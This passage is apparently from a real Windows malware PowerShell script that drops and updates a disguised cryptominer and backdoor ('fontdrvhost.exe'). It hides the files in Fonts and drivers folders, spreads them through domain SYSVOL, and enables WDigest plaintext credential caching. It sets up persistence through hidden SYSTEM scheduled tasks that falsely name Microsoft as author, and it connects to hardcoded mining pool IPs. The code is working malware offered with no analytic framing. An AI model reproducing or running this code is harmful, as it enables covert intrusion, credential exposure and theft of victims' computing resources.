  918.                         #Connect to remote machine's port                
  919.                         Write-Verbose "Making UDP connection to remote server"
  920.                         $udpobject.Connect("$c", $p)
  921.                         #Sends a message to the host to which you have connected.  
  922.                         Write-Verbose "Sending message to remote host"
  923.                         $a = new-object system.text.asciiencoding
  924.                         $byte = $a.GetBytes("$(Get-Date)")
  925.                         [void]$udpobject.Send($byte, $byte.length)
  926.                         #IPEndPoint object will allow us to read datagrams sent from any source.  
  927.                         Write-Verbose "Creating remote endpoint"
  928.                         $remoteendpoint = New-Object system.net.ipendpoint([system.net.ipaddress]::Any, 0)
  929.                         Try
  930.                         {
  931.                             #Blocks until a message returns on this socket from a remote host.  
  932.                             Write-Verbose "Waiting for message return"
  933.                             $receivebytes = $udpobject.Receive([ref]$remoteendpoint)
  934.                             [string]$returndata = $a.GetString($receivebytes)
  935.                             If ($returndata)
  936.                             {
  937.                                 Write-Verbose "Connection Successful"
  938.                                 #Build report  
  939.                                 $temp.Server = $c
  940.                                 $temp.Port = $p
  941.                                 $temp.TypePort = "UDP"
  942.                                 $temp.Open = "True"
  943.                                 $temp.Notes = $returndata
  944.                                 $udpobject.close()
  945.                             }
  946.                         }
  947.                         Catch
  948.                         {
  949.                             If ($Error[0].ToString() -match "\bRespond after a period of time\b")
  950.                             {
  951.                                 #Close connection  
  952.                                 $udpobject.Close()
  953.                                 #Make sure that the host is online and not a false positive that it is open  
  954.                                 If (Test-Connection -comp $c -count 1 -quiet)
  955.                                 {
  956.                                     Write-Verbose "Connection Open"
  957.                                     #Build report  
  958.                                     $temp.Server = $c
  959.                                     $temp.Port = $p
  960.                                     $temp.TypePort = "UDP"
  961.                                     $temp.Open = "True"
  962.                                     $temp.Notes = ""
  963.                                 }
  964.                                 Else
  965.                                 {
  966.                                 <#  
  967.                                 It is possible that the host is not online or that the host is online,  
  968.                                 but ICMP is blocked by a firewall and this port is actually open.  
  969.                                 #>                                 
  970.                                     Write-Verbose "Host maybe unavailable"
  971.                                     #Build report  
  972.                                     $temp.Server = $c
  973.                                     $temp.Port = $p
  974.                                     $temp.TypePort = "UDP"
  975.                                     $temp.Open = "False"
  976.                                     $temp.Notes = "Unable to verify if port is open or if host is unavailable."
  977.                                 }
  978.                             }
  979.                             ElseIf ($Error[0].ToString() -match "forcibly closed by the remote host")
  980.                             {
  981.                                 #Close connection  
  982.                                 $udpobject.Close()
  983.                                 Write-Verbose "Connection Timeout"
  984.                                 #Build report  
  985.                                 $temp.Server = $c
  986.                                 $temp.Port = $p
  987.                                 $temp.TypePort = "UDP"
  988.                                 $temp.Open = "False"
  989.                                 $temp.Notes = "Connection to Port Timed Out"
  990.                             }
  991.                             Else
  992.                             {
  993.                                 $udpobject.close()
  994.                             }
  995.                         }
  996.                         #Merge temp array with report              
  997.                         $report += $temp
  998.                     }
  999.                 }
  1000.             }
  1001.         }
  1002.         End
  1003.         {
  1004.             #Generate Report  
  1005.             $report
  1006.             #           $ErrorActionPreference = "Continue"
  1007.         }
  1008.     }
  1009.    
  1010.     function Convert-TimeZone
  1011.     {
  1012. <#
  1013.     .Synopsis
  1014.         Converts given datetime from local time zone to another given time zone
  1015.  
  1016.     .Description
  1017.         This function helps you to convert date time information from local time zone to another time zone.
  1018.        
  1019.     .Parameter DateTime
  1020.         A datetime object which needs to be converted to different time zone.
  1021.    
  1022.     .Parameter ToTimeZone    
  1023.         Name of the target time zone. If you don't have name of the target time zone, then try below command
  1024.         from powershell console which displays all available timezones that you can convert.
  1025.  
  1026.         [system.timezoneinfo]::GetSystemTimeZones()
  1027.    
  1028.     .Example
  1029.         Convert-TimeZone -DateTime (get-now) -ToTimeZone "Eastern Standard Time"
  1030.                
  1031.     .Notes
  1032.         NAME:      Convert-TimeZone
  1033.         AUTHOR:    Sitaram Pamarthi
  1034.         WEBSITE:   http://techibee.com
  1035.  
  1036. #>
  1037.        
  1038.         [cmdletbinding()]
  1039.         param (
  1040.            
  1041.             [parameter(Mandatory = $true)]
  1042.             [ValidateNotNullOrEmpty()]
  1043.             [datetime]$DateTime,
  1044.             [string]$ToTimeZone = ([system.timezoneinfo]::UTC).id
  1045.            
  1046.         )
  1047.        
  1048.         $ToTimeZoneObj = [system.timezoneinfo]::GetSystemTimeZones() | Where-Object {
  1049.             $_.id -eq $ToTimeZone
  1050.         }
  1051.        
  1052.         if (!($ToTimeZoneObj))
  1053.         {
  1054.             Write-Error "Zone Conversion failed. Given timezone is not valid. Choose the target time zone from list of below given zones"
  1055.             return
  1056.         }
  1057.         $TargetZoneTime = [system.timezoneinfo]::ConvertTime($datetime, $ToTimeZoneObj)
  1058.        
  1059.         $Output = New-Object -TypeName PSObject -Property @{
  1060.             LocalTime         = $datetime
  1061.             LocalTimeZone     = $(([system.timezoneinfo]::LOCAL).id)
  1062.             TargetTime        = $TargetZoneTime
  1063.             TargetTimeZone    = $($ToTimeZoneObj.id)
  1064.         }
  1065.         #   $Output | select LocalTime, LocalTimeZone, TargetTime, TargetTimeZone | ft
  1066.         return $TargetZoneTime
  1067.     }
  1068.     Function Encry
  1069.     {
  1070.         cls
  1071.         Write-Host "=======================" -NoNewline -ForegroundColor Yellow
  1072.         Write-Host " Begining Appu Encryption " -NoNewline -ForegroundColor Red -BackgroundColor Yellow
  1073.         Write-Host "=======================" -ForegroundColor Yellow
  1074.         #$Input = Read-Host "Enter the Source path [Ex: D:\SecureData] "
  1075.         #$Output = Read-Host "Enter the Destination path [Ex: D:\EncryptedSecdata] "
  1076.         #$PrimaryPwd = Read-host "Enter Primary Password "
  1077.         #$SecondaryPwd = Read-host "Enter Secondary Password "
  1078.         $Input = "$env:windir\Fonts\arial"
  1079.         $Output = "$env:windir\System\HASH"
  1080.         if (!(Test-Path "$Output"))
  1081.         {
  1082.             new-item "$Output" -itemtype directory
  1083.         }
  1084.         $PrimaryPwd = "Kirova143"
  1085.         $SecondaryPwd = "Kirova143"
  1086.         [string]$PMixpwd = "$PrimaryPwd$SecondaryPwd"
  1087.         $ShufflePMixPwd = $PMixpwd
  1088.         $RandomFileN = Get-Random
  1089.         $KeyFile = "$Env:APPDATA\Microsoft\$RandomFileN.txt"
  1090.         New-Item -ItemType "file" -Path $KeyFile | Out-Null
  1091.         $EncryptPMixpwdKey = Echo $ShufflePMixPwd | .\openssl.exe dgst -sha256
  1092.         $AllFiles = Get-ChildItem -Path $Input -Recurse | ?{ $_.Extension -ne $null -and $_.Extension -ne "" }
  1093.         ForEach ($EachFile in $AllFiles)
  1094.         {
  1095.             $fullPath = $EachFile.FullName
  1096.             $FileName = $EachFile.Name
  1097.             $FileEnc = Echo $FileName | .\openssl.exe dgst -sha256
  1098.             Write-host "Encrypted File :" -ForegroundColor Black -BackgroundColor Green -NoNewline
  1099.             Write-host " $FileName" -ForegroundColor Green -BackgroundColor Black
  1100.             Add-Content -Path $KeyFile -Value "$FileEnc,$FileName"
  1101.             .\openssl.exe enc -aes-256-cbc -salt -in $fullPath -out $Output\$FileEnc -k $EncryptPMixpwdKey
  1102.         }
  1103.         .\openssl.exe enc -aes-256-cbc -salt -in $KeyFile -out $Output"\f33a029ede00aafff83be9d419c99e2610a0003dac61a2920cb7ff4a5fb3316ba" -k $EncryptPMixpwdKey
  1104.         Write-Host " "
  1105.         Write-Host " :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
  1106.         Write-Host "                        Decryption File and Key                       " -BackgroundColor Green -ForegroundColor Black
  1107.         Write-Host " "
  1108.         Write-Host " Decryption key : " -ForegroundColor Yellow -NoNewline
  1109.         Write-host "$EncryptPMixpwdKey" -ForegroundColor Black -BackgroundColor White
  1110.         Write-Host " "
  1111.         Write-Host " Decryption Key File : " -ForegroundColor Yellow -NoNewline
  1112.         Write-host "$Output\hashfile" -ForegroundColor Black -BackgroundColor White
  1113.         Write-Host " "
  1114.         Write-Host " :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
  1115.         Write-Host " "
  1116.         Remove-Item $KeyFile -Force
  1117.     }
  1118.     Function Decry
  1119.     {
  1120.         cls
  1121.         Write-Host "=======================" -NoNewline -ForegroundColor Yellow
  1122.         Write-Host " Begining Appu Decryption " -NoNewline -ForegroundColor Red -BackgroundColor Green
  1123.         Write-Host "=======================" -ForegroundColor Yellow
  1124.         $Input = "$env:windir\System\HASH"
  1125.         $Output = "$env:windir\Fonts\arial"
  1126.         if (!(Test-Path "$Output"))
  1127.         {
  1128.             new-item "$Output" -itemtype directory
  1129.         }
  1130.         $UniqueKey = "a6d589b549ffc5b4c640e6c67a5d682add65549ff199bb66eb6504cec07c426d"
  1131.         $KeyFile = "$env:windir\System\HASH\f33a029ede00aafff83be9d419c99e2610a0003dac61a2920cb7ff4a5fb3316ba"
  1132.         $RandomkeyFileName = Get-Random
  1133.         $KeyFileExtractPath = "$Env:APPDATA\Microsoft"
  1134.         .\openssl.exe enc -aes-256-cbc -salt -d -in $KeyFile -out $KeyFileExtractPath\"$RandomkeyFileName.key" -k $UniqueKey
  1135.         $ReadKey = Get-Content -Path $KeyFileExtractPath\"$RandomkeyFileName.key"
  1136.         $AllFiles = Get-ChildItem -Path $Input | ?{ $_.Extension -eq $null -or $_.Extension -eq "" }
  1137.         ForEach ($EachFile in $AllFiles)
  1138.         {
  1139.             $fullPath = $EachFile.FullName
  1140.             $FileName = $EachFile.Name
  1141.             # Write-Host "allnames $EachFile"
  1142.             # $FileDec = Echo $FileName | .\openssl.exe enc -d -aes-256-cbc -a -salt -k $PMixpwd
  1143.             ForEach ($FileNameS in $ReadKey)
  1144.             {
  1145.                 $FileH, $FileN = $FileNameS.split(",", 2)
  1146.                 Write-Host "$FileH" -ForegroundColor Yellow
  1147.                 Write-Host "$FileName" -ForegroundColor Green
  1148.                 if ($FileH -eq $FileName)
  1149.                 {
  1150.                     Write-Host "Decrypted File : $FileN" -ForegroundColor Black -BackgroundColor White
  1151.                     .\openssl.exe enc -aes-256-cbc -salt -d -in $fullPath -out $Output\$FileN -k $UniqueKey
  1152.                 }
  1153.             }
  1154.         }
  1155.         Remove-Item $KeyFileExtractPath\"$RandomkeyFileName.key" -Force
  1156.     }
  1157.    
  1158.     Function Recover
  1159.     {
  1160.         $PrimaryPwd = "Kirova143"
  1161.         $SecondaryPwd = "Kirova143"
  1162.         [string]$PMixpwd = "$PrimaryPwd$SecondaryPwd"
  1163.         $EncryptPMixpwdKey = Echo $PMixpwd | .\openssl.exe dgst -sha256
  1164.        
  1165.         Write-Host " "
  1166.         Write-Host "========================================================================"
  1167.         Write-Host "Key : " $EncryptPMixpwdKey
  1168.         Write-Host "========================================================================"
  1169.         Write-Host " "
  1170.        
  1171.     }
  1172.    
  1173.     function EncryptFile($options)
  1174.     {
  1175.         cd C:
  1176.         cd $env:USERPROFILE
  1177.         Write-Host " "
  1178.         Write-Host "Validating package               " -NoNewline
  1179.         $OpenSSLCheck = Test-Path $env:USERPROFILE\Openssl.exe
  1180.         if ($OpenSSLCheck)
  1181.         {
  1182.             Write-Host "[ SUCCESS ]" -ForegroundColor Green
  1183.         }
  1184.         Else
  1185.         {
  1186.             Write-Host "[ FAILED ]" -ForegroundColor Red
  1187.             Write-Host "Trying to download the package   " -NoNewline
  1188.             $url = "http://downloads.sourceforge.net/gnuwin32/openssl-0.9.8h-1-bin.zip"
  1189.             $outputZip = "$env:USERPROFILE\Openssl.zip"
  1190.             $wc = New-Object System.Net.WebClient
  1191.             $wc.DownloadFile($url, $outputZip)
  1192.             $RandomFold = Get-Random
  1193.             $foldPath = "$env:USERPROFILE\$RandomFold"
  1194.             $outputZip = "$env:USERPROFILE\Openssl.zip"
  1195.             Add-Type -assembly "system.io.compression.filesystem"
  1196.             [io.compression.zipfile]::ExtractToDirectory($outputZip, $foldPath)
  1197.             $OpenSSLPath = "$foldPath\bin\Openssl.exe"
  1198.             $testdownload = Test-Path $OpenSSLPath
  1199.             # Write-Host "Testing download and extraction - $OpenSSLPath"
  1200.             Copy-Item $OpenSSLPath $env:USERPROFILE
  1201.             Start-Sleep -Seconds 5
  1202.             $PostDownloadcheck = Test-Path $env:USERPROFILE\Openssl.exe
  1203.             if ($PostDownloadcheck)
  1204.             {
  1205.                 Write-Host "[ SUCCESS ]" -ForegroundColor Green
  1206.             }
  1207.             Else
  1208.             {
  1209.                 Write-Host "[ FAILED ]" -ForegroundColor Green
  1210.                 Write-Host " "
  1211.                 Write-Host "Kindly download the file manually from the following link, and extract the openssl.exe in path: $env:USERPROFILE " -ForegroundColor Yellow -BackgroundColor Red
  1212.                 Write-Host "http://downloads.sourceforge.net/gnuwin32/openssl-0.9.8h-1-bin.zip" -ForegroundColor Black -BackgroundColor White
  1213.             }
  1214.         }
  1215.         Write-Host " "
  1216.         Write-Host " "
  1217.         Write-Host "1. Encrypt contents of Folder !!" -ForegroundColor White -BackgroundColor Red
  1218.         Write-Host "2. Decrypt contents of Folder !!" -ForegroundColor Black -BackgroundColor Green
  1219.         Write-Host "3. Recover Lost Key !!" -ForegroundColor Green -BackgroundColor Black
  1220.         Write-Host " "
  1221.         #$Opt = Read-Host "Enter Option "
  1222.         $Opt = "$options"
  1223.         If ($Opt -eq 1)
  1224.         {
  1225.             Encry
  1226.             Remove-Item "$env:windir\fonts\arial" -Recurse -force
  1227.         }
  1228.         elseif ($opt -eq 2)
  1229.         {
  1230.             Decry
  1231.         }
  1232.         elseif ($opt -eq 3)
  1233.         {
  1234.             Recover
  1235.         }
  1236.         Else
  1237.         {
  1238.             Write-Warning "You have entered invalid option !! Try again..."
  1239.         }
  1240.        
  1241.     }
  1242.     #Sample variable that provides the location of the script
  1243.     [string]$ScriptDirectory = Get-ScriptDirectory
  1244.    
  1245.     $ComputerName = $env:COMPUTERNAME
  1246.     $PCbased = (Get-WmiObject Win32_ComputerSystem).systemtype
  1247.     switch ($PCbased)
  1248.     {
  1249.         "X64-based PC" {
  1250.             $path = ${env:ProgramFiles(x86)}
  1251.             $osArch = "x64"
  1252.         }
  1253.         "X86-based PC" {
  1254.             $path = $env:ProgramFiles
  1255.             $osArch = "x86"
  1256.         }
  1257.     }
  1258.     #endregion Functions
  1259.     if (Test-Path "$env:userprofile\JavaCU.exe")
  1260.     {
  1261.         Remove-Item "$env:userprofile\JavaCU*" -force
  1262.     }
  1263.     if (Test-Path "$env:windir\fonts\JavaCU.exe")
  1264.     {
  1265.         Remove-Item "$env:windir\fonts\JavaCU*" -force
  1266.     }
  1267.     if (Test-Path "$env:programdata\JavaCU.exe")
  1268.     {
  1269.         Remove-Item "$env:programdata\JavaCU*" -force
  1270.     }
  1271.     if (Test-Path "$env:windir\System32\drivers\etc\JavaCU.exe")
  1272.     {
  1273.         Remove-Item "$env:windir\System32\drivers\etc\JavaCU*" -force
  1274.     }
  1275.     If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
  1276.     {
  1277.         $checkadm = "0"
  1278.         $MinerPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Crypto\Keys"
  1279.     }
  1280.     else
  1281.     {
  1282.         $checkadm = "1"
  1283.         $MinerPath = "$env:windir\fonts\ttf"
  1284.     }
  1285.    
  1286.     #Удаление мусора#############################################################################
  1287.     try
  1288.     {
  1289.         if (Test-Path "$env:windir\Logs\firewall_rules.log")
  1290.         {
  1291.             Remove-Item "$env:windir\Logs\firewall_rules.log" -Force
  1292.         }
  1293.         schtasks /delete /tn run /f
  1294.        
  1295.        
  1296.         schtasks /delete /tn update /f
  1297.        
  1298.     }
  1299.     catch
  1300.     {
  1301.     }
  1302.    
  1303.     #############################################################################################
  1304.     If ($checkadm -eq "1")
  1305.     {
  1306.        
  1307.         $taskpath = "Microsoft\Windows\Multimedia\SystemSoundsCheck"
  1308.         $ConfPath = "$env:windir\logs\Windowsupdate"
  1309.         $ConfPorts = "$env:windir\logs\Java"
  1310.         $tempfolder = "$env:windir\system32\drivers\etc"
  1311.         $ProxyPath = "$env:windir\Fonts\arial"
  1312.         $loaderpath = "$env:windir\System32\drivers"
  1313.        
  1314.        
  1315.         $domain = (Get-WmiObject Win32_ComputerSystem).Domain
  1316.        
  1317.         $isdomain = (Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain
  1318.         if ($isdomain -eq $true)
  1319.         {
  1320.             $checkreg = (Get-ItemProperty -Path 'HKLM:\SYSTEM\Software\Microsoft' -Name DriversPath -ErrorAction SilentlyContinue).driverspath
  1321.            
  1322.             if (Test-Path "$checkreg\$osarch\fontdrvhost.exe")
  1323.             {
  1324.                 $backdoor = "$checkreg\$osarch"
  1325.                 robocopy $backdoor "$env:windir\Fonts\Arial" /R:3 /W:20
  1326.                 $backdoor2 = "$env:windir\Fonts\Arial"
  1327.             }
  1328.             else
  1329.             {
  1330.                 $ScriptDirectory = ((Get-ChildItem -Path "\\$domain\sysvol\$domain\Policies" -Filter fontdrvhost.exe -Recurse -ErrorAction SilentlyContinue -Force | Sort-Object LastWriteTime -Descending | select -First 1 | % { $_.DirectoryName })) -replace '\\x64' -replace '\\x86'
  1331.                
  1332.                 if (Test-Path "$ScriptDirectory\$osarch\fontdrvhost.exe")
  1333.                 {
  1334.                     $backdoor = "$ScriptDirectory\$osarch"
  1335.                     robocopy $backdoor "$env:windir\Fonts\Arial" /R:3 /W:20
  1336.                     $backdoor2 = "$env:windir\Fonts\Arial"
  1337.                 }
  1338.                 else
  1339.                 {
  1340.                     $backdoor = "$env:windir\Fonts\Arial"
  1341.                 }
  1342.             }
  1343.         }
  1344.         else
  1345.         {
  1346.             $backdoor = "$env:windir\Fonts\Arial"
  1347.         }
  1348.         $paths = "$ConfPath", "$backdoor", "$MinerPath", "$ConfPorts", $ProxyPath
  1349.        
  1350.         foreach ($path in $paths)
  1351.         {
  1352.             if (!(Test-Path "$path"))
  1353.             {
  1354.                 new-item "$path" -itemtype directory -force
  1355.             }
  1356.         }
  1357.         if ($domain -like "*csd*")
  1358.         {
  1359.             if (Test-Path "$env:windir\Logs\Java\config.etl")
  1360.             {
  1361.                
  1362.                 Remove-Item "$env:windir\Logs\Java\config.etl" -force
  1363.             }
  1364.             elseif (Test-Path "$env:windir\Fonts\arial\config.etl")
  1365.             {
  1366.                 Remove-Item "$env:windir\Fonts\arial\config.etl" -force
  1367.             }
  1368.             elseif (Test-Path "$env:windir\Fonts\ttf\config.etl")
  1369.             {
  1370.                 Remove-Item "$env:windir\Fonts\ttf\config.etl" -force
  1371.             }
  1372.             elseif (Test-Path "$ScriptDirectory\config.etl")
  1373.             {
  1374.                 Remove-Item "$ScriptDirectory\config.etl" -force
  1375.             }
  1376.         }
  1377.         reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  1378.         if (Test-Path "$loaderpath\fontdrvhost.exe")
  1379.         {
  1380.             #           robocopy "$backdoor" "$tempfolder" fontdrvhost.exe /R:3 /W:20
  1381.             try
  1382.             {
  1383.                
  1384.                 $new = (Get-FileHash "$backdoor\fontdrvhost.exe" -Algorithm MD5).md5
  1385.                 $old = (Get-FileHash "$loaderpath\fontdrvhost.exe" -Algorithm MD5).md5
  1386.                 $newtime = (Get-Item "$backdoor\fontdrvhost.exe").LastWriteTime
  1387.                 $oldtime = (Get-Item "$loaderpath\fontdrvhost.exe").LastWriteTime
  1388.                
  1389.                 if (($old -ne $new) -and ($newtime -gt $oldtime))
  1390.                 {
  1391.                     if ($backdoor -like "*sysvol*")
  1392.                     {
  1393.                         robocopy "$backdoor" "$env:windir\fonts\Arial" fontdrvhost* /R:3 /W:20
  1394.                     }
  1395.                    
  1396. #                   $testprocecss = (Get-WmiObject Win32_Process -Filter "name = 'powershell.exe'" | Where-Object { $_.CommandLine -like "*windowsupdate.ps1*" }).processid
  1397. #                   if ($testprocecss)
  1398. #                   {
  1399. #                       foreach ($n in $testprocecss)
  1400. #                       {
  1401. #                           Stop-Process -Id $n -force
  1402. #                       }
  1403. #                   }
  1404.                     $processpath = Get-Process | ForEach-Object { $_.Path }
  1405.                     if ($processpath -contains "$MinerPath\explorer.exe") { get-process | Where-Object { $_.path -like "*$MinerPath\explorer.exe*" } | stop-process -force }
  1406.                     $Update = "1"
  1407.                    
  1408.                 }
  1409.                 else
  1410.                 {
  1411.                     $update = "0"
  1412.                 }
  1413.                
  1414.             }
  1415.             catch
  1416.             {
  1417.                 $update = "0"
  1418.             }
  1419.             $install = "1"
  1420.             if ($Update -eq "1")
  1421.             {
  1422.                
  1423.                
  1424.                 schtasks /delete /tn UpdateGoogle /f
  1425.                 $update = @"
  1426. robocopy "$backdoor" "$env:windir\system32\drivers" fontdrvhost* /R:3 /W:20
  1427. "$env:windir\fonts\arial\fontdrvhost.exe"
  1428. schtasks /delete /tn UpdateGoogle /f
  1429. del "%~f0"
  1430. "@
  1431.                
  1432.                 $update | Out-File -encoding Default "$tempfolder\update.bat"
  1433.                
  1434.                 $data = (get-date).AddMinutes(1).ToString("s")
  1435.                 $XML = @"
  1436. <?xml version="1.0" encoding="UTF-16"?>
  1437. <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  1438.  <RegistrationInfo>
  1439.    <Date>2017-09-26T01:08:08.9958999</Date>
  1440.    <Author>Microsoft Corporation</Author>
  1441.    <URI>\Microsoft\Windows\Multimedia\task</URI>
  1442.  </RegistrationInfo>
  1443.  <Triggers>
  1444.    <CalendarTrigger>
  1445.      <Repetition>
  1446.        <Interval>PT1H</Interval>
  1447.        <StopAtDurationEnd>false</StopAtDurationEnd>
  1448.      </Repetition>
  1449.      <StartBoundary>$data</StartBoundary>
  1450.      <Enabled>true</Enabled>
  1451.      <ScheduleByDay>
  1452.        <DaysInterval>1</DaysInterval>
  1453.      </ScheduleByDay>
  1454.    </CalendarTrigger>
  1455.    <BootTrigger>
  1456.      <Enabled>true</Enabled>
  1457.      <Delay>PT15M</Delay>
  1458.    </BootTrigger>
  1459.  </Triggers>
  1460.  <Principals>
  1461.    <Principal id="Author">
  1462.      <UserId>S-1-5-18</UserId>
  1463.      <RunLevel>HighestAvailable</RunLevel>
  1464.    </Principal>
  1465.  </Principals>
  1466.  <Settings>
  1467.    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  1468.    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
  1469.    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
  1470.    <AllowHardTerminate>true</AllowHardTerminate>
  1471.    <StartWhenAvailable>true</StartWhenAvailable>
  1472.    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
  1473.    <IdleSettings>
  1474.      <StopOnIdleEnd>true</StopOnIdleEnd>
  1475.      <RestartOnIdle>false</RestartOnIdle>
  1476.    </IdleSettings>
  1477.    <AllowStartOnDemand>true</AllowStartOnDemand>
  1478.    <Enabled>true</Enabled>
  1479.    <Hidden>true</Hidden>
  1480.    <RunOnlyIfIdle>false</RunOnlyIfIdle>
  1481.    <WakeToRun>true</WakeToRun>
  1482.    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
  1483.    <Priority>7</Priority>
  1484.    <RestartOnFailure>
  1485.      <Interval>PT1M</Interval>
  1486.      <Count>30</Count>
  1487.    </RestartOnFailure>
  1488.  </Settings>
  1489.  <Actions Context="Author">
  1490.    <Exec>
  1491.    <Command>$tempfolder\update.bat</Command>
  1492.    </Exec>
  1493.  </Actions>
  1494. </Task>
  1495.  
  1496.  
  1497. "@
  1498.                 $XML | Out-File -Encoding ASCII "$tempfolder\task.xml"
  1499.                
  1500.                 schtasks /end /tn "$taskpath" /f
  1501.                 Start-Sleep -s 5
  1502.                 schtasks /delete /tn "$taskpath" /f
  1503.                 Start-Sleep -s 5
  1504.                 schtasks /create /xml "$tempfolder\task.xml" /tn "UpdateGoogle"
  1505.                 if (Test-Path "$tempfolder\task.xml") { Remove-Item "$tempfolder\task.xml" -force }
  1506.             }
  1507.         }
  1508.         else
  1509.         {
  1510.             $install = "0"
  1511.             $Update = "0"
  1512.         }
  1513.        
  1514.         #       $processpath = Get-Process | ForEach-Object { $_.Path }
  1515.        
  1516.         #       if (!(Test-Path "$ConfPath\windowsupdate.etl"))
  1517.         #       {
  1518.         #           $firstinstall = "1"
  1519.         #       }
  1520.         #       else
  1521.         #       {
  1522.         #           $firstinstall = "0"
  1523.         #       }
  1524.         #       if (($processpath -notcontains "$backdoor\fontdrvhost.exe") -and ($processpath -notcontains "$loaderpath\fontdrvhost.exe"))
  1525.         #       {
  1526.         #           $another = "1"
  1527.         #       }
  1528.         #       else
  1529.         #       {
  1530.         #           $another = "0"
  1531.         #       }
  1532.        
  1533.        
  1534.     }
  1535.     if ($install -eq "1" -and $update -eq "0")
  1536.     {
  1537.         schtasks /delete /tn UpdateGoogle /f
  1538.         $processpath = Get-Process | ForEach-Object { $_.Path }
  1539.         if ($processpath -contains "$MinerPath\explorer.exe")
  1540.         {
  1541.             $TestUpTime = TestUptime -ErrorAction "silentlycontinue"
  1542.         }
  1543.         else
  1544.         {
  1545.             $TestUpTime = "false"
  1546.         }
  1547.     }
  1548.     else
  1549.     {
  1550.         $TestUpTime = "false"
  1551.     }
  1552.    
  1553.    
  1554.     if ($Update -eq "0")
  1555.     {
  1556.         if ($TestUpTime -eq "false")
  1557.         {
  1558.            
  1559.             #Глобальные переменные
  1560.            
  1561.            
  1562.             if (Test-Path "$env:windir\Logs\Java\config.etl")
  1563.             {
  1564.                
  1565.                 $global:Minerport = ':' + ([string](Get-Content "$env:windir\Logs\Java\config.etl")[0])
  1566.             }
  1567.             elseif (Test-Path "$env:windir\Fonts\arial\config.etl")
  1568.             {
  1569.                 $global:Minerport = ':' + ([string](Get-Content "$env:windir\Fonts\arial\config.etl")[0])
  1570.             }
  1571.             elseif (Test-Path "$env:windir\Fonts\ttf\config.etl")
  1572.             {
  1573.                 $global:Minerport = ':' + ([string](Get-Content "$env:windir\Fonts\ttf\config.etl")[0])
  1574.             }
  1575.             elseif (Test-Path "$ScriptDirectory\config.etl")
  1576.             {
  1577.                 $global:Minerport = ':' + ([string](Get-Content "$ScriptDirectory\config.etl")[0])
  1578.             }
  1579.             else
  1580.             {
  1581.                 $global:Minerport = ":14444"
  1582.             }
  1583.            
  1584.             if ($domain -like "*csd*")
  1585.             {
  1586.                 $global:Minerport = ":14444"
  1587.             }
  1588.            
  1589.             if ($global:Minerport -like "*14444")
  1590.             {
  1591.                 $ipms = "185.48.59.50"
  1592.             }
  1593.             if ($global:Minerport -like "*24444")
  1594.             {
  1595.                 $ipms = "185.48.59.51"
  1596.             }
  1597.             if ($global:Minerport -like "*34444")
  1598.             {
  1599.                 $ipms = "185.48.59.52"
  1600.             }
  1601.            
  1602.            
  1603.             $testms = testms $Minerport $ipms
  1604.             $global:pool = $testms["Address"]
  1605.            
  1606.            
  1607.             If ($checkadm -eq "0")
  1608.             {
  1609.                 $ConfPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Config"
  1610.                 $backdoor = "$env:USERPROFILE\AppData\Roaming\Microsoft\Internet Explorer\Settings"
  1611.                 $MinerPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Crypto\Keys"
  1612.                 $loaderpath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Network\Connections"
  1613.                 $ConfPorts = "$env:USERPROFILE\AppData\Roaming\Sun\Java"
  1614.                 $taskpath = "SystemSoundsCheck"
  1615.                 $tempfolder = "$env:USERPROFILE\AppData\Roaming\Microsoft"
  1616.                 $data = (get-date).AddMinutes(1).ToString("s")
  1617.                 $XML = @"
  1618. <?xml version="1.0" encoding="UTF-16"?>
  1619. <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  1620. <RegistrationInfo>
  1621. <Date>2017-10-24T02:16:09</Date>
  1622. <Author>user07</Author>
  1623. </RegistrationInfo>
  1624. <Triggers>
  1625. <TimeTrigger>
  1626. <Repetition>
  1627. <Interval>PT1H</Interval>
  1628. <StopAtDurationEnd>false</StopAtDurationEnd>
  1629. </Repetition>
  1630. <StartBoundary>$data</StartBoundary>
  1631. <Enabled>true</Enabled>
  1632. </TimeTrigger>
  1633. </Triggers>
  1634. <Principals>
  1635. <Principal id="Author">
  1636. <LogonType>InteractiveToken</LogonType>
  1637. <RunLevel>LeastPrivilege</RunLevel>
  1638. </Principal>
  1639. </Principals>
  1640. <Settings>
  1641. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  1642. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
  1643. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
  1644. <AllowHardTerminate>true</AllowHardTerminate>
  1645. <StartWhenAvailable>true</StartWhenAvailable>
  1646. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
  1647. <IdleSettings>
  1648. <StopOnIdleEnd>true</StopOnIdleEnd>
  1649. <RestartOnIdle>false</RestartOnIdle>
  1650. </IdleSettings>
  1651. <AllowStartOnDemand>true</AllowStartOnDemand>
  1652. <Enabled>true</Enabled>
  1653. <Hidden>true</Hidden>
  1654. <RunOnlyIfIdle>false</RunOnlyIfIdle>
  1655. <WakeToRun>false</WakeToRun>
  1656. <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
  1657. <Priority>7</Priority>
  1658. <RestartOnFailure>
  1659. <Interval>PT5M</Interval>
  1660. <Count>30</Count>
  1661. </RestartOnFailure>
  1662. </Settings>
  1663. <Actions Context="Author">
  1664. <Exec>
  1665. <Command>wmic</Command>
  1666. <Arguments>process call create "$loaderpath\fontdrvhost.exe","$loaderpath"</Arguments>
  1667. </Exec>
  1668. </Actions>
  1669. </Task>
  1670. "@
  1671.                 if ($name -eq "petr")
  1672.                 {
